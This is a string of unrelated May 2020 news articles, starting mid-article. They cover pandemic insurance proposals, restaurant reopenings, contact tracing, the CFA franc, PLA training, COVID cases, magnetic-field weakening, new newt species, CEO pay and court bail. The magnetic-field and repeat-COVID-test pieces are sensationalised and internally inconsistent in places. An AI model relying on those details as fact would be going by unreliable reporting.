Reade and seven other women last year accused Biden of inappropriate touching, with some of them alleging sexual misconduct.

The Epoch Times has reached out to the Biden campaign for comment.

Zachary Stieber contributed to this report.
Key segments of the property/casualty insurance industry, which is facing mounting claims for business interruption losses from the pandemic, have thrown their lobbying weight behind a proposed federal program to replace revenues lost by businesses shut down during pandemics like COVID-19.

The federal program, called the Business Continuity Protection Program, or BCPP, would allow businesses to purchase revenue replacement coverage for up to 80 percent of payroll and other expenses. Businesses would purchase the federal revenue replacement assistance through state-regulated insurance entities that participate with BCPP on a voluntary basis, but the aid would come from the Federal Emergency Management Agency (FEMA), which would run the program.

The program is another entry in the growing number of proposals targeted at bringing relief to businesses suffering losses that insurers say are in most cases not covered by business interruption policies.

Two insurance carrier groups  the National Association of Mutual Insurance Companies and the American Property Casualty Insurance Association along with the largest agents group, the Independent Insurance Agents & Brokers of America, announced their outline of the BCPP on Thursday.

Other Federal Proposals include a BIG One Other industry interests, including the American Academy of Actuaries and broker Marsh, have supported a federal reinsurance backstop, modeled after the Terrorism Risk Insurance Act. Two discussion drafts of the so-called Pandemic Risk Insurance Act have been circulated on Capitol Hill in recent weeks. There is at least one other proposal as well. During a Congressional hearing yesterday before a subcommittee of the House Small Business Committee, a lawyer for a coalition of restaurant, hospitality and other businesses with business interruption claims against insurers, the Business Interruption Group, proposed a compromise he hoped would speed payments to businesses and eliminate the need for some of the litigation. Louisiana-based Attorney John W. Houghtaling, II, of the firm Gauthier Murphy & Houghtaling, described his opt-in plan  the BIG Insurance Relief Act as one in which insurers would voluntarily agree to pay any claims on business interruption policies where there is no virus exclusion and then they could apply to be reimbursed by the federal government. As for all other business interruption claims, insurers would be free to pay or litigate with no federal government payback for whatever the outcome is. Houghtaling explains on BIGs website that his clients believe coverage is owed immediately on any business interruption policy that does not include a clear virus exclusion. We are willing to support federal subsidies for insurers who cooperate with us, but the window for a solution is closing fast, the website says. At the virtual subcommittee hearing, Houghtaling stressed that his clients are not opposed to and actually agree with the insurance industry that lawmakers should not force a rewriting of contracts to cover business interruption retroactively as has been suggested in some states and that they prefer to avoid class action lawsuits. We need a big compromise, he said at the hearing. We are not against carriers, we need insurance to work. Some carriers are making frivolous denials, others may have good faith disagreements about coverage. BIG is advancing federal legislation in a public/private compromise with insurers for the funding of all policies, he says on the website. The hearing gave the insurance industry another opportunity to push back against moves to have insurers pay business interruption losses even where policies exclude such coverage involving a virus. Insurance Information Institute CEO Sean Kevelighan told lawmakers that any efforts to rewrite business interruption policies are not only unconstitutional, but would imperil the insurance industrys ability to pay covered insurance claims filed by American homeowners, drivers, and injured workers. Kevelighan said the costs of requiring insurers to pay business interruption policies, even for only businesses that bought business interruption policies, would be about $485 billion through the end of the year.

Pandemics simply are not insurable risks; they are too widespread, too severe and too unpredictable for the insurance industry to underwrite, said Charles Chamness, NAMICs president and CEO, in a joint media statement. As weve seen in the past few months, pandemics are a national problem, and we need a national solution.

We need a sustainable solution that provides simplicity, certainty and immediate relief to impacted businesses, said David Sampson, APCIAs president and CEO.

Rates charged by the program would be calculated as a percentage of the payroll and applicable expenses each participating organization seeks to replace. That percentage will be uniform for all participants and will not vary based on geography, industry or risk, NAMIC said.

Business could purchase the federal coverage through an insurance agent or a carrier.

The small business community is looking to our industry to provide leadership to ensure there is immediate assistance available during future pandemics, said Bob Rusbuldt, Big I president and CEO. The BCPP is a simple, efficient and effective plan to provide the needed financial security for American businesses. This program gets immediate funding to businesses when they need it most.

Other features of the proposed program include:

To get the assistance, businesses would have to certify that they will use any funds received for retaining employees and paying necessary operating expensesand also that they will follow applicable federal pandemic guidance.

Relief payments would be automatically triggered and paid immediately once there is a presidential viral emergency declaration. No advance documentation or claims adjustment would be needed.

Protection would have to be purchased at least 90 days before the presidential declaration of a public health emergency. The release of funds is automatically triggered following such a declaration.

Businesses would be allowed to choose a desired level of protection for three months relief for up to 80 percent of payroll (excluding highly compensated employees), employee benefits and operating expenses.

BCPP would be able to purchase private reinsurance to protect federal taxpayers.

While the proposed BCPP, like the National Flood Insurance Program, is run by FEMA, in other respects its very different from the NFIP. Jimi Grande, senior vice president of government relations for NAMIC, noted that it would be unlike the NFIP in that it would feature a parametric trigger a presidential declaration of a viral emergency  and a formulaic payout.

As part of the application process, eligible businesseswhich would include any firm incorporated in the U.S. or its territories, including nonprofitswould be required to attest both to compliance with federal pandemic guidelines and to certify that any relief assistance would be used to retain employees and keep the business viable.

In administering funds, however, there would be some post-relief audits performed ensuring value use of funds. Invalid uses would result in fines, required repayment and criminal penalties.

According to the trade groups, the BCPP would work with risk mitigation experts to develop pandemic risk mitigation guidelines and safety standards for businesses. These would be provided to the businesses applying for federal relief at the time of application and payment.

Topics Carriers COVID-19 Agencies Legislation Claims Market
Customers have been patiently waiting for Salt Creek Grille in Rumson, New Jersey to reopen after the statewide lockdown forced them to close their doors two months ago. While some other restaurants have continued serving customers throughout the shutdown with take-out and delivery services, owner/operator, Steve Bidgood was hesitant to proceed. I was concerned for the safety of my employees, for the safety of my management team, for the safety of my guests, said Bidgood. I didnt think that it was going to be this long, so I decided I was going to hold off and see what was going to transpire. Following sixty days of cleaning and preparing, Salt Creek Grille started its business engine.

After 48 years in the restaurant industry, Steve Bidgood has seen his fair share of bumps in the road when it comes to operating a restaurant. He is also the co-owner of Salt Creek Grille establishments in Princeton, New Jersey as well as three California locations in Dana Point, Valencia and El Segundo. All restaurants, except Princeton and Dana Point have reopened for take-out and delivery only. We started last Wednesday on May 6th and our guests have been so excited to see and get a little of the Salt Creek Grill food, said Bidgood. Guests will now have to enjoy their signature grilled pork chop, coffee-rubbed NY strip steak and lobster bisque via curbside pickup or DoorDash delivery  a very different view from eating in the Rumson, New Jersey restaurants 200 seat dining room overlooking the Navesink River. The restaurant also accommodates an additional 150 guests in their downstairs banquet facility and large outdoor dining area.

At a time when business is usually going strong with Christenings and Mothers Day brunches, Bidgood had to reluctantly cancel numerous parties scheduled for the coming months. The cost of doing business has increased so much, said Bidgood. You still have these fixed costs. Theyre not going away because were closed. They are still there. The cost of doing business in our industry has really changed. Bidgood is grateful for the assistance all five of his restaurants have received from the federal government, but he is trying to distribute the money sparingly. Theres so many restaurants that cant open right now that are in the same situation as we are that they cant spend it, said Bidgood. It they spend it now then there wont be any left to spend on the employees when you do [reopen].

Typically operating 365 days a year, Bidgood is eager to open up the doors after such a long hiatus. By us, opening up to-go right now, its definitely helping people, said Bidgood. Modifications the restaurant has put in place to prepare for reopening include: sanitizing the entire restaurant; supplying every staff member with gloves and masks; as well as formulating a special take-out menu available on their website at https://saltcreekgrille.com/. When asked if he would feel comfortable dining at a restaurant during the global pandemic, Bidgood is confident he can be safe while doing so. Me personally, I have gloves in my car. I have masks in my car. Im going to be out there, said Bidgood. However, the restaurateur does believe the uncertainty of when complete normalcy will return will cause banquet facilities to suffer the most given the planning and advanced booking that the business requires. I think its going to be a good year before it is going to be back to confidence in going out, said Bidgood. [Hurricane] Sandy, we had answers. The storm came, did its damage and left. This, we dont know the answers. Were all going to have to use our minds and new thought processes to survive.

Although it may be a few months before parties can resume, one gathering Bidgood is looking forward to the most is his annual charity fundraiser. Each year, about 150 guests gather at Salt Creek Grille in Rumson, New Jersey to support a different childrens charity chosen by the restaurateur. With generous donations from purveyors and local businesses of assortments of food and wine, 100 percent of the proceeds are donated directly to the charity. The successful event has occurred the last 15 years and raised over one million dollars. This year, the charity being honored is the Court Appointed Special Advocates for Children in Monmouth County, a non-profit organization created to advocate for abused and neglected children. Its my way of giving back to the community in a big part, said Bidgood. The event originally scheduled for April has been postponed until October.

After two long months away from his customers who he considers family and friends, Bidgood cant wait to be reunited at the bar once again. The most important thing to me is that they stay safe and they come back, said Bidgood. Twenty-two years here, Ive seen a lot of kids grow up. Ive seen a lot of families. Ive had so many regular guests. To me, I miss them.

To view the full video interview, visit Bielat Santore & Companys website at http://www.123bsc.com, Facebook https://www.facebook.com/123BSC/, and Vimeo page https://vimeo.com/bielatsantore and stay tuned for the next Thursday Restaurant Rap interview.

About Bielat Santore & Company

Bielat Santore & Company is an established commercial real estate firm. The companys expertise lies chiefly within the restaurant and hospitality industry, specializing in the sale of restaurants and other food and beverage real estate businesses. Since 1978, the principals of Bielat Santore & Company, Barry Bielat and Richard Santore, have sold more restaurants and similar type properties in New Jersey than any other real estate company. Furthermore, the firm has secured in excess of $500,000,000 in financing to facilitate these transactions. Visit the companys website, http://www.123bsc.com for the latest in new listings, property searches, available land, market data, financing trends, RSS feeds, press releases and more.
A small New Jersey town has successfully pioneered a contact tracing model to find anyone who came into contact with confirmed coronavirus patients.

Contact tracing is considered to be one of the most important measures needed to safely reopen the economy.

All COVID-19 positive patients are asked to remember everyone they came into contact with while possibly contagious, and then those people are asked to self-quarantine for two weeks.

Paterson, which is about 20 miles northwest of New York City, is a relatively poor, minority area with a population of 148,000.

However, the city's Health Department has been able to identify and track down 90 percent of Paterson's 5,900 positive patients and their contacts, reported The New York Times.

Paterson, New Jersey, which has a population of about 148,000m has more than 5,900 positive cases. Pictured: Mary Mack (right), a resident of senior housing, is tested for COVID-19 in Paterson, May 8

The monitors, about 50 people, have been able to identify and track down 90 percent of the patients' contacts. Pictured: The Paterson fire department COVID-19 EMS unit responds to a call for a person under investigation of having the coronavirus, April 16

Mayor Andre Sayegh said Paterson was averaging 260 new cases every day on April 15 and is now averaging about 70 cases per day. Pictured: Residents of senior public housing wait to be tested for COVID-19 in Paterson, NJ, May 8

In March 16, Mayor Andre Sayegh confirmed the city's first coronavirus cases, a married couple with a man in his 40s and a woman in her 30s, the Paterson Times reported.

One of the couple's two children would go on to also test positive.

'Even before these first cases of Paterson residents were confirmed, my administration has implemented preventative measures to practice social distancing and containment to avoid community spread,' Sayegh said in a statement.

'We ask that residents remain calm and isolate themselves as much as possible in order to do their part to reduce the spread of COVID-19.'

Both state and municipal health officials began contact tracing immediately, looking for close contacts of the family members.

Shortly thereafter the Board of Health, which only has two disease detectives, added 24 new employees, reported The Times.

The team has since grown to almost 50 people and is made of health inspectors, nurses and translators.

When people don't pick up the phone, police officers directly visit the home.

Contact tracers told The Times that the first step is to gather a list of contacts. Each one is individually called, told they've been exposed to the virus and told to self-quarantine for two weeks.

They often offer health advice such as how to quarantine and where or when to seek medical care.

There are daily check-ins with every contact as well as the original patient to make sure they're isolating and ask about symptoms. quarantine to see how they are feeling and monitor their compliance.

Many of the Paterson residents they call are already aware that they've been exposed to the virus, whether via family, friends or strangers.

Sayegh, the mayor, ended up testing positive for the virus himself and quarantined in his basement for 14 days, away from his wife and three children.

The Paterson Press reported that Sayegh only reported losing his sense of smell but not any other symptoms such as fever, a cough or difficulty breathing.

The mayor held a meeting with the contact tracers last week showing them the decline of cases in Paterson.

On April 15, the city was averaging 260 new cases every day. Currently, it is averaging about 70 cases per day, the first time in nearly two months.

'This is a testament to what you have been doing,' Sayegh told the tracers, according to the Times. 'You kept me and many others alive.'

The model is one that would rival that of any large city.

New York Governor Andrew Cuomo said the state is recruiting an 'army' for its contact tracing program.

'One of the most critical pieces of getting to a new normal is to ramp up testing, but states have a second big task: To put together an army of people to trace each person who tested positive, find out who they contacted and then isolate those people,' he said last month.

Cuomo wants to recruit 17,000 contact tracers, while New York City Mayor Bill de Blasio hopes to have 1,000 tracers ready to go by June.

However, neither Cuomo nor de Blasio have revealed how many have been hired.
French Council of Ministers has adopted a bill ratifying the end of the use of CFA franc by eight French West African countries.

A spokesperson for the French government, Sibeth Ndiaye, said the bill ratifying the end of the 75-year old currency was adopted on Wednesday.

According to the Voice Of Nigeria (VON), the move is part of a renewal of the relationship between France and the affected African countries.

It was during an official visit to Ivory Coast in December 2019 that President Macron and French West African leaders announced a historic reform of monetary cooperation that was to lead to the end of the CFA franc, she said.

This symbolic end was to be part of a renewal of the relationship between France and African countries.

The CFA franc, used by eight French West African countries, is set to become the newly proposed Eco, a currency to be adopted by the entire West African bloc, ECOWAS.

The adoption by French authorities marks the end of the centralization of foreign exchange reserves of eight West African states affected with the French Treasury.

The eight countries concerned are: Benin, Burkina Faso, Cote dIvoire, Guinea-Bissau, Mali, Niger, Senegal and Togo.

The future Eco currency will have a fixed parity with the euro.

Background

Last December, French President Emmanuel Macron announced that a revamped common currency in West Africa known as the ECO will be launched in 2020.

Mr Macron made this known during a trip to Ivory Coast.

He noted that in cooperation with eight West African countries  Benin, Burkina Faso, Guinea-Bissau, Ivory Coast, Mali, Niger, Senegal, and Togo  France was working towards loosening up the supervision of the currency.

Speaking in Abidjan, the economic capital of Ivory Coast, he described colonialism as a grave mistake and a fault of the republic.

He said: I wanted to engage France in a historic and ambitious reform of cooperation between the West African economic and monetary union and our country. We do it for African youth.

CFA

Known as Colonies Francaises dAfrique (French colonies in Africa), the CFA franc was established in 1945 and has been tagged as a controversial currency for its control by France.

Although it was initially pegged to the French franc, it has been linked to the euro since 1999 and a French representative has been on the board of the currencys union.

Analysts have always been divided over the controversies surrounding the currency with concerns raised over the need for the African countries to store 50% of their foreign currency reserves with France in return for France guaranteeing the currency.

The new currency revamp announced by Macron will not require African countries in the ECOs economic bloc to keep half their reserves with France or have a representative sit on their currencys board.

However, it will remain pegged to euro and guaranteed by France.
By Qian Xiaohu

Highlighting combat-led training: using battlefield demand to direct actual combat training

"When we talked about actual combat training in the past, we referred to picking up the gun and then aiming at the target. What we cared about then was the gun. Now, we should first ask if the target and the environment are scientifically set ?" said deputy Wu Yingxia, a senior engineer at a base of the PLA Army.

Deputy Xi Chaofeng from the PLA 82nd Group Army felt a real change in using "battlefield demand" to pull actual combat training. The air defense brigade which he is assigned to is stationed in the same place with an air force department, but there has been little exchange between the two units over the years. Today, joint training and confrontation drills have become the training norm of the two. "Going to somewhere unfamiliar thousands of miles away for cross-regional drills and accepting multiple tests of complex electromagnetic environments, special geographic environments, and extreme weather conditions are becoming more and more common for service members of our air defense brigades," said Xi Chaofeng.

A WZ-10 attack helicopter attached to an army aviation brigade under the PLA 72nd Group Army releases chaff and flares for concealment in the training scenario on April 28, 2020. The training exercise mainly focused on subjects including maritime assault and defense at ultra-low altitude, round-the-clock live-fire operation and others. (eng.chinamil.com.cn/ Photo by phZhang Huanpeng)

Deputy Xu Liqiang, from a base of the PLA Air Force, introduced: "Now, the target obstacle setting, the knowledge structure of the trainers, and the use of the Blue Army's tactics have all changed with the shift in simulated combat opponents." The actual combat exercises, including "Red Sword", "Golden Helmet", "Golden Dart" and "Blue Shield" organized by his troops have become effective ways to enhance the combat effectiveness of the troops.

Emphasizing systematic training: "You are not fighting alone."

The PLA has showcased various new-type combined arms forces on our military training range and carried out intensive actual combat training. Behind these drills is the common focus on systematic support.

"In modern warfare, the battlefield space is spreading across all ranges, including the land, sea, air, sky, electricity, and the Internet. One of my deepest feelings is that you are not fighting alone!" said deputy Kong Jun from the PLA Marine Corps.

"Real combat readiness, as well as systematic integration, is inevitable," said deputy Yang Cheng, political commissioner of the PLA 73rd Group Army. Take the combined arms battalion of the PLA Army as an example. The battalion not only has an infantry company, but also involves tanks, howitzers, engineers, chemical defense, electronics, and reconnaissance. It also establishes directly supportive relationships with the air force and artillery groups. It is difficult to win on the battlefield without real integration.

Deputy Yu Hailong from the PLA Air Force Airborne Corps believes that the focus of joint training should be set on the primary level, starting from joint training of basic combat units such as individual soldiers and single equipment; from the integration of basic units such as squad, company, platoon, and battalion; from the examination of a unit to that of the whole; and, from the test of a single soldier to that of the team, so as to achieve the integration from each level to the overall armed forces.

Prioritizing the confrontation test: make progress from each fight

Over the past few years, deputy Ding Guolin from a department of the PLA Rocket Force led a team to review and summarize dozens of missile models, nearly a hundred pieces of standards regarding training guidance and adjustment, as well as thousands kinds of special circumstances. They successfully constructed realistic battlefield environment and formed the "Red and Blue" confrontation training mode with the characteristics of the PLA Rocket Force.

A main battle tank (MBT) attached to an armored detachment of a combined brigade under the PLA 72nd Group Army rumbles through a narrow rough mountain road during a driving skills test on May 11, 2020. (eng.chinamil.com.cn/photo by Xiao Yuxuan)

Before going to Beijing to attend the session, deputy Mahe Palitransliterated from Kazakh into English, commander of the fifth tank company under the Chinese PLAs Xinjiang Military Command, was still training half-slope tank-starting operation in a training range in the deep Tianshan Mountains. One mistake may cause the engine to detonate or even roll over. Mahe Pali pulled the joystick tightly with both hands and restarted decisively. Finally, with a huge roar, the tank whistled towards the destination.

If we sweat more in daily training, we will have more chances to win in wartime, the military deputies said. In recent years, Chinese military has conducted most of the exercises at the largest scale with the most comprehensive elements that are all unseen before. Actual combat training is pushing PLA's combat effectiveness to a new level.
For 50 days, a Canadian woman was diagnosed with COVID-19 eight times. Tracy Schofield, a local of Cambridge, Ontario, shared she first began exhibiting symptoms on March 30. She had a fever with chills and difficulty breathing.

The Cambridge woman was temporarily relieved to hear that her eighth test resulted negative after testing positive for the novel coronavirus 7 times.

"I cried because I was so happy," she said, but that feeling was short-lived.

This contributed to the growing evidence that the coronavirus can affect varying people in different ways. Factors that vary from patient to patient are severity of the symptoms, the length of the infection, and the recovery process. More is yet to be learned about the respiratory illness.

Schofield, who is a nurse, still had some lingering symptoms. She is now fretting that the coronavirus could result to long-term health issues.

The woman is reportedly preparing for her tenth test.

Schofield underwent quaratine in her room 2 weeks following her first test, maintaining social distancing from her 17-year-old son. Her fever rose to 104.1 degrees Fahrenheit with a loss of sense of taste and smell.

"I still to this day have shortness of breath," she said after over 50 days since testing positive. "COVID-19 has taken a lot out of me, and it continues every day."

She worried further, "I just want someone to be able to tell me something. Give me an answer. Am I going to have it forever?"

Before being declared recovered, the World Health Organization (WHO) policies indicate that a patient must get a negative result twice successively. Unfortunately, it was detected that the coronavirus was still strong in her body in her 9th test.

Also Read: New Chinese Drug Can Stop COVID-19 Pandemic Even Without Vaccine

The 2 consecutive negative test results for the coronavirus should at least be 24 hours apart to be declared cleared of the virus.

She is not the only individual to have reportedly been diagnosed with the coronavirus over a long duration. An Australian filmmaker , 35, also tested positive for 3 times in a span of 2 months.

A 62-year-old woman in India tested positive for the illness twenty times throughout a 48-day stay in hospital. She was eventually discharged after receiving a negative result.

After 14 days, the Region of Waterloo Public Health officials ordered her to be released from quarantine, according to Schofield. She has also been cleared to return to work.

Health officials have cautioned that such coronavirus tests are prone to produce false positives and negatives. Some test kits accurately detected only 70% of the time; a third of patients would get a false negative, early anecdotal reports suggested.

"You're only giving a small sample from your body," according to Brian Dixon, a professor of immunology at the University of Waterloo, Canada. "So it may have been that they just missed it on that case. That's why they do it twice. They want to be sure that they caught the right sample and you are negative."

Each individual responds differently to the coronavirus and some may be infected for a longer duration than others, Dixon said.

"It's hard to say what's normal," he explained. "We all have a particular immune system that's individual."

Related Article: China's Batwoman Says Wuhan Lab Not the Source of COVID-19

@ 2022 HNGN, All rights reserved. Do not reproduce without permission.
Source: Xinhua| 2020-05-22 06:09:50|Editor: huaxia

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UNITED NATIONS, May 21 (Xinhua) -- A Chinese envoy on Thursday asked parties in Somalia to work together for peaceful elections and to advance the political process.

Somalia is entering a critical stage with the elections on top of its priorities, said Yao Shaojun, China's acting deputy permanent representative to the United Nations.

The Somali president has signed the electoral bill into law. The national electoral security task force adopted its terms of reference and reviewed the draft concept of security for voter registration, he noted.

This progress fully demonstrates Somalia's strong willingness to promote peaceful elections. China supports all parties in Somalia to proceed from the fundamental interests of the country, enhance cooperation and dialogue, and jointly advance the electoral and political processes, Yao told the Security Council.

The international community should provide constructive assistance on the basis of respect for Somalia's ownership and leadership. China has consistently advocated African countries addressing African issues in African ways, he said.

The African Union Mission in Somalia (AMISOM) has been playing a significant role in maintaining peace and stability in Somalia. China supports AMISOM in continuing to carry out its mandate, and in helping strengthen the capacities of Somalia national security forces so that they can gradually assume security responsibilities, he said. Enditem
Source: Xinhua| 2020-05-22 17:27:00|Editor: huaxia

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DHAKA, May 22 (Xinhua) -- Bangladesh recorded 24 new COVID-19 fatalities Friday, the highest increase in a single day since the pandemic began in the country on March 8.

The rise in deaths came a day after the country reported 22 COVID-19 fatalities.

Professor Nasima Sultana, a senior health ministry official, told an online media briefing in Dhaka that "24 COVID-19 deaths were confirmed in a 24-hour period, bringing the total number of fatalities in the country since March 18 to 432."

According to the official, the number of confirmed COVID-19 cases increased to 30,205, with the daily rise of 1,694 new cases reported in the last 24 hours as of 8:00 a.m. local time on Friday.

According to the official, 9,727 samples were tested in the last 24 hours in labs across Bangladesh.

During the last 24 hours, 588 more patients were released from hospitals and clinics, bringing the number of recovered patients in the country so far to 6,190, said the official. Enditem
Our ombudsman program has been inundated with calls from residents and family members, distraught and anxious that facilities are not providing enough information about positive cases, deaths, infected staff and infection protocols. After calls from AARP, the Illinois Department of Public Health has begun publishing a list of positive cases and fatalities in each facility based on data from local health departments. Yet, this data is not always current. Residents have told the ombudsman program that they are not being informed about the situation in their own facilities, though the Centers for Medicare & Medicaid Services requires facilities to do so. Still, many residents remain in the dark about what is happening in their homes, some even unaware of their own positive COVID-19 status.
YEREVAN, MAY 22, ARMENPRESS. USAID will provide $1.2 million in assistance to Armenias communities, the USAID Armenia Office said in a statement.

USAIDs Armenia Support Initiative is pleased to commit $1.2 million in additional funding to address the economic impacts of COVID-19.

It is expected that in the post-COVID-19 world, economic challenges will be inevitable. Vulnerable families and communities will feel its impact the most.

We are committed to offering them a helping hand through small, community-based grants, the statement says.
Scientists found a shocking discovery. The Earth's magnetic field is weakening.

The magnetic field is vital to life on our planet. It shields us from cosmic radiation and sun-emitted charged particles.

A vast area of decreased magnetic strength was found between Africa and South America, called the South Atlantic Anomaly. In just five years, it has formed a minimum intensity core.

ALSO READ: Earth's Magnetic Poles May Flip, And The Effects Could Be Deadly

Is the Earth shifting in reverse?

Scientists suspect that the weakening is a warning that the Earth is moving for a polar reversal. This is when the north and south poles swap positions, and that was the last time it occurred 780,000 years ago.

A team at the Europe Space Agency (ESA) made the discovery, pulling data from the Swarm constellation of the agency, which is a cluster of satellites.

The satellites are explicitly designed to detect and measure the different magnetic signals that causing Earth's magnetic field, allowing experts to spot vulnerable areas.

"The new, eastern minimum of the South Atlantic Anomaly has appeared over the last decade and in recent years is [thriving]," Jurgen Matzka from the German Research Center for Geosciences said.

"The challenge now is to understand the processes in Earth's core driving these changes," he said in a statement.

For years, the weakened field has been on the experts' radar - they know it has lost nine percent of its intensity over the past 200 years.

Nevertheless, there has recently established an even greater region of vulnerability between Africa and South America.

Researchers from the UK and Denmark have recently spotted speculation of a pole reversal.

Evidence has indicated that the team found that the north pole shifted closer to Siberia at a frenzied rate due to two writhing lobes of magnetic energy in the center of the Earth.

Between 1999 to 2005, it went between moving nine miles at most to as much as 37 miles in a year, suggests the study released this month.

In comparison, Ciaran Beggan of the British Geological Survey told MailOnline the southern magnetic pole has scarcely changed much over the past 100 years.

Earth's magnetic field weakens

After analyzing data collected by Swarm, researchers found that the strength has diminished from around 24,000 nanoteslas to 22,000 between 1970 and 2020.

What's more surprising, however, is that the phenomenon has developed and pushed westward at a speed of about 12 mph.

However, the team found that a center of limited strength has developed southwest of Africa in just the last five years. The results indicate that the South Atlantic Anomaly could break into two separate cells.

ALSO READ: Earliest Records Of Earth's Magnetic Field Reversal Found In South African Region

The change doesn't just happen immediately but happens gradually throughout a couple of hundred years.

And when this happens, multiple magnetic poles from north and south are popping up around the Earth.

One explanation for the weakened field is that the planet could be going to a pole reversal that happened in the past. The researchers suggest 'we are long overdue' because it happens 'only every 250,000 years.'

Researchers say Earth's South Atlantic Anomaly doesn't have enough direct proof of magnetism in Earth's past.

The team says the phenomenon isn't a reason to sound the alarm. However, satellites and spacecraft operating in the weakened region can experience technical malfunctions.

"Forecasting the future is challenging, and we cannot be sure," Lead researcher Phil Livermore, an associate professor of geophysics at the University of Leeds, told Live Science.

 2021 TECHTIMES.com All rights reserved. Do not reproduce without permission.
In time for the International Day for Biological Diversity 2020, the date (22 May) set by the United Nations to recognise biodiversity as "the pillars upon which we build civilizations", a new study, published in the peer-reviewed open-access journal ZooKeys, describes two new to science species and one subspecies of crocodile newts from northern Vietnam. However, this manifestation of the incredible diversity of life hosted on our planet comes as an essential reminder of how fragile Earth's biodiversity really is.

Until recently, the Black knobby newt (Tylototriton asperrimus) was known to be a common species inhabiting a large area stretching all the way from central and southern China to Vietnam. Much like most of the other members of the genus Tylototriton, colloquially referred to as crocodile newts or knobby newts, it has been increasingly popular amongst exotic pet owners and traditional Chinese medicine practitioners. Meanwhile, authorities would not show much concern about the long-term survival of the Black knobby newt, exactly because it was found at so many diverse localities. In fact, it is still regarded as Near Threatened, according to the International Union for Conservation of Nature's Red List.

However, over the past decade, the increasing amount of research conducted in the region revealed that there are, in fact, many previously unknown to science species, most of which would have been assumed to be yet another population of Black knobby newts. As a result, today, the crocodile newts represent the most species-rich genus within the whole family of salamanders and newts (Salamandridae).

Even though this might sound like great news for Earth's biodiversity, unfortunately, it also means that each of those newly discovered species has a much narrower distributional range, making them particularly vulnerable to habitat loss and overcollection. In fact, the actual Black knobby newt turns out to only exist within a small area in China. Coupled with the high demand of crocodile newts for the traditional Chinese medicine markets and the exotic pet trade, this knowledge spells a worrying threat of extinction for the charming 12 to 15-centimetre amphibians.

In order to help with the answer of the question of exactly how many Vietnamese species are still being mistakenly called Black knobby newt, the German-Vietnamese research team of the Cologne Zoo (Germany), the universities of Hanoi (Vietnam), Cologne and Bonn (Germany), and the Vietnam Academy of Science and Technology analysed a combination of molecular and detailed morphological characters from specimens collected from northern Vietnam. Then, they compared them with the Black knobby newt specimen from China used to originally describe the species back in 1930.

Thus, the scientists identified two species (Tylototriton pasmansi and Tylototriton sparreboomi) and one subspecies (Tylototriton pasmansi obsti) previously unknown to science, bringing the total of crocodile newt taxa known from Vietnam to seven. According to the team, their discovery also confirms northern Vietnam to be one of the regions with the highest diversity of crocodile newts.

"The taxonomic separation of a single widespread species into multiple small-ranged taxa (...) has important implications for the conservation status of the original species," comment the researchers.

The newly discovered crocodile newts were named in honour of the specialist on salamander chytrid fungi and co-discoverer Prof. Dr. Frank Pasmans and, sadly, the recently deceased salamander enthusiasts and experts Prof. Fritz-Jurgen Obst and Prof. Dr. Max Sparreboom.

In light of their findings, the authors conclude that the current and "outdated" Near Threatened status of the Black knobby newt needs to be reassessed to reflect the continuous emergence of new species in recent years, as well as the "severe threats from international trade and habitat loss, which have taken place over the last decade."

Meanwhile, thanks to the commitment to biodiversity conservation of Marta Bernardes, lead author of the study and a PhD Candidate at the University of Cologne under the supervision of senior author Prof Dr Thomas Ziegler, all crocodile newts were included in the list of internationally protected species by the Convention on International Trade in Endangered Species (CITES) last year.

Today, some of the threatened crocodile newt species from Vietnam are already kept at the Cologne Zoo as part of conservation breeding projects. Such is the case for the Ziegler's crocodile newt (Tylototriton ziegleri), currently listed as Vulnerable on the IUCN Red List and the Vietnamese crocodile newt (Tylototriton vietnamensis), currently considered as Endangered. Fortunately, the latter has been successfully bred at Cologne Zoo and an offspring from Cologne was recently repatriated.

###

Original source:

Bernardes M, Le MD, Nguyen TQ, Pham CT, Pham AV, Nguyen TT, Rodder D, Bonkowski M, Ziegler T (2020) Integrative taxonomy reveals three new taxa within the Tylototriton asperrimus complex (Caudata, Salamandridae) from Vietnam. ZooKeys 935: 121-164. https://doi.org/10.3897/zookeys.935.37138
In 2011, Alexander Frolov was appointed CEO of EVRAZ plc (LON:EVR). This report will, first, examine the CEO compensation levels in comparison to CEO compensation at companies of similar size. Next, we'll consider growth that the business demonstrates. And finally we will reflect on how common stockholders have fared in the last few years, as a secondary measure of performance. This process should give us an idea about how appropriately the CEO is paid.

View our latest analysis for EVRAZ

How Does Alexander Frolov's Compensation Compare With Similar Sized Companies?

According to our data, EVRAZ plc has a market capitalization of UK3.8b, and paid its CEO total annual compensation worth US$2.7m over the year to December 2019. That's actually a decrease on the year before. While we always look at total compensation first, we note that the salary component is less, at US$2.5m. When we examined a selection of companies with market caps ranging from US$2.0b to US$6.4b, we found the median CEO total compensation was US$2.4m.

Now let's take a look at the pay mix on an industry and company level to gain a better understanding of where EVRAZ stands. On an industry level, roughly 71% of total compensation represents salary and 29% is other remuneration. EVRAZ is paying a higher share of its remuneration through a salary in comparison to the overall industry.

So Alexander Frolov is paid around the average of the companies we looked at. This doesn't tell us a whole lot on its own, but looking at the performance of the actual business will give us useful context. You can see a visual representation of the CEO compensation at EVRAZ, below.

LSE:EVR CEO Compensation May 22nd 2020

Is EVRAZ plc Growing?

Over the last three years EVRAZ plc has seen earnings per share (EPS) move in a positive direction by an average of 52% per year (using a line of best fit). Its revenue is down 7.3% over last year.

This demonstrates that the company has been improving recently. A good result. While it would be good to see revenue growth, profits matter more in the end. It could be important to check this free visual depiction of what analysts expect for the future.

Story continues

Has EVRAZ plc Been A Good Investment?

I think that the total shareholder return of 115%, over three years, would leave most EVRAZ plc shareholders smiling. This strong performance might mean some shareholders don't mind if the CEO were to be paid more than is normal for a company of its size.

In Summary...

Remuneration for Alexander Frolov is close enough to the median pay for a CEO of a similar sized company .

Shareholders would surely be happy to see that shareholder returns have been great, and the earnings per share are up. Although the pay is a normal amount, some shareholders probably consider it fair or modest, given the good performance of the stock. On another note, we've spotted 5 warning signs for EVRAZ that investors should look into moving forward.

Of course, you might find a fantastic investment by looking elsewhere. So take a peek at this free list of interesting companies.

Love or hate this article? Concerned about the content? Get in touch with us directly. Alternatively, email editorial-team@simplywallst.com.



This article by Simply Wall St is general in nature. It does not constitute a recommendation to buy or sell any stock, and does not take account of your objectives, or your financial situation. We aim to bring you long-term focused analysis driven by fundamental data. Note that our analysis may not factor in the latest price-sensitive company announcements or qualitative material. Simply Wall St has no position in any stocks mentioned. Thank you for reading.
Three months after he was arrested by Delhi Police from Bihar for his cut-off-Assam remark, Jawaharlal Nehru University (JNU) student Sharjeel Imam was granted statutory bail by Gauhati high court on Friday.

